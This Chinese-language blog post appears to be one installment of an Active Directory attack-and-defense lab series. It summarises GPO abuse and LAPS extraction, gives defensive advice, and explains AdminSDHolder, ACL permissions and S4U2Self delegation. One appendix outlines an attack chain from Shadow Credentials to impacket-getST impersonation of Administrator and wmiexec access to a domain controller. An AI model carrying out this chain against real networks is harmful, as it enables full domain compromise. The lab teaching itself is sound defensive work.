LAPS 的安全性不依賴密碼的加密,而是依賴 權限控制 + 密碼獨特性 + 定期輪換。每台電腦的密碼都不同(防止橫向移動),透過 ACL 限制誰可以讀取(最小權限原則),並且自動定期更新密碼(限制憑證有效期)。雖然密碼是明文儲存,但透過這些機制的結合,LAPS 仍然是管理本地管理員密碼的最佳實踐。

實戰總結

今天我們完成了一次完整的 GPO 濫用與 LAPS 密碼提取實戰演練。

關鍵收穫

1. GPO 濫用的威力與風險

  • 影響範圍廣(所有套用 GPO 的電腦)
  • 權限高(SYSTEM)
  • 持久性強(不自動還原)
  • 絕對不在生產環境使用

2. LAPS 的正確理解

  • 明文儲存不等於不安全
  • 安全性來自權限控制和密碼輪換
  • 正確設定是關鍵
  • 密碼提取成功 ≠ 密碼可用(需要驗證同步狀態)

防禦要點

  1. 定期審計 ACL

    • 使用 BloodHound 視覺化攻擊路徑
    • 移除不必要的高危險權限
  2. 保護高價值目標

    • Domain Admins 加入 Protected Users
    • 限制對 DC 物件的寫入權限
  3. GPO 安全

    • 嚴格限制 GPO 修改權限
    • 監控 SYSVOL 的修改
    • 定期備份 GPO
  4. LAPS 最佳實踐

    • 最小權限原則
    • 啟用審計
    • 定期審查權限設定
    • 驗證 LAPS 實際運作狀態

附錄 A:AdminSDHolder 深度解析

AdminSDHolder 運作機制

AdminSDHolder 是 Active Directory 的一個保護機制,專門用來保護高權限群組:

工作原理

1. SDProp (Security Descriptor Propagator) 執行緒每 60 分鐘執行一次
2. 檢查所有受保護群組及其成員(adminCount=1)
3. 從 CN=AdminSDHolder,CN=System,DC=domain,DC=local 複製 ACL
4. 覆蓋到受保護物件的 ACL
5. 任何手動新增的 ACL 被移除

受保護的群組清單

  • Domain Admins
  • Enterprise Admins
  • Schema Admins
  • Administrators
  • Account Operators
  • Backup Operators
  • Print Operators
  • Server Operators
  • Domain Controllers
  • Replicator
  • Read-only Domain Controllers
  • 以及這些群組的成員

實際影響

時間軸:
T0    - 設定 tywin.lannister 對 Domain Admins 有 GenericWrite
T0+1  - 攻擊成功,可以利用
T0+30 - 仍然可以利用
T0+60 - SDProp 執行,ACL 被重置
T0+61 - 攻擊失效,ACL 不存在

檢查受保護狀態

# 查詢 adminCount 屬性
Get-ADUser -Filter * -Properties adminCount | 
  Where-Object { $_.adminCount -eq 1 } |
  Select-Object Name, adminCount

手動觸發 SDProp(不等 60 分鐘):

# 在 DC 上執行(需要 DA 權限)
$RootDSE = [ADSI]"LDAP://RootDSE"
$RootDSE.Put("runProtectAdminGroupsTask", "1")
$RootDSE.SetInfo()

附錄 B:權限類型詳解

GenericWrite 與 WriteDacl 比較

GenericWrite(通用寫入)

允許的操作:
├── 修改大部分物件屬性
│   ├── scriptPath
│   ├── profilePath
│   ├── servicePrincipalName
│   ├── msDS-KeyCredentialLink (Shadow Credentials)
│   └── userAccountControl (部分屬性)
├── 但不包括:
│   ├── DACL(訪問控制清單)
│   ├── Owner(擁有者)
│   └── 某些敏感屬性

WriteDacl(寫入 ACL)

允許的操作:
└── 修改物件的 DACL(訪問控制清單)
    ↓
    可以給自己授予任意權限
    ↓
    包括 GenericAll(完全控制)

權限範圍矩陣

操作 GenericWrite WriteDacl GenericAll
修改一般屬性
Shadow Credentials ❌(需先授予自己權限)
新增 SPN
修改 ACL
重置密碼
修改群組成員

附錄 C:S4U2Self 機制詳解

為什麼 DC 機器帳號如此強大?

域控制器的機器帳號(DC$)具有特殊屬性:

TrustedToAuthForDelegation = True(協定轉換)
TrustedForDelegation = True(無約束委派)
└── 這允許 DC 執行 S4U2Self 和 S4U2Proxy

S4U2Self 的作用

Service for User to Self (S4U2Self)
↓
允許服務代表任意使用者取得該使用者的 TGS
↓
不需要:
- 使用者的密碼
- 使用者的 Hash
- 使用者的 TGT
↓
只需要:
- 服務本身的憑證(DC$)
- TrustedToAuthForDelegation 屬性

攻擊流程

1. 攻擊者透過 Shadow Credentials 取得 kingslanding$ 的憑證
   ↓
   獲得:kingslanding.ccache (TGT) + NT Hash

2. 使用 kingslanding$ 的 TGT 執行 S4U2Self
   ↓
   impacket-getST -self -impersonate "Administrator" ...

3. S4U2Self 請求
   ↓
   kingslanding$ 向 KDC 說:
   「我需要代表 Administrator 存取我自己的服務」
   ↓
   KDC 檢查:
   - kingslanding$ 有 TrustedToAuthForDelegation? ✓ 是
   - 要求冒充的是 Administrator? ✓ 允許
   ↓
   KDC 發放:Administrator 的 TGS(針對 kingslanding$)

4. 使用 -altservice 修改 SPN
   ↓
   將服務從 HOST/kingslanding 改為 CIFS/kingslanding
   ↓
   現在可以用 Administrator 身份存取 SMB

5. 使用票證連接
   ↓
   impacket-wmiexec -k -no-pass Administrator@kingslanding
   ↓
   完全控制域控制器

為什麼 DC 必須有這個能力?

合法用途:
1. 使用者透過 NTLM 認證到 Web 伺服器
2. Web 伺服器需要以使用者身份存取後端資料庫
3. Web 伺服器使用 S4U2Self 取得使用者的 TGS
4. 使用 S4U2Proxy 將 TGS 轉換為資料庫的服務票證
5. 以使用者身份存取資料庫(保持審計追蹤)

這是「協定轉換(Protocol Transition)」的設計目的

檢查電腦是否有此能力

# 查詢有 TrustedToAuthForDelegation 的電腦
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,ServicePrincipalName

# 通常只有 DC
Name           TrustedToAuthForDelegation ServicePrincipalName
----           -------------------------- --------------------
KINGSLANDING   True                       {HOST/KINGSLANDING, ...}
WINTERFELL     True                       {HOST/WINTERFELL, ...}

參考資源

官方文件


上一篇
AD 攻防實戰演練 Day 19:掌握 Active Directory ACL 攻擊鏈 從低權限使用者到域控制器的完整滲透路徑
系列文
資安這條路:AD 攻防實戰演練20
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言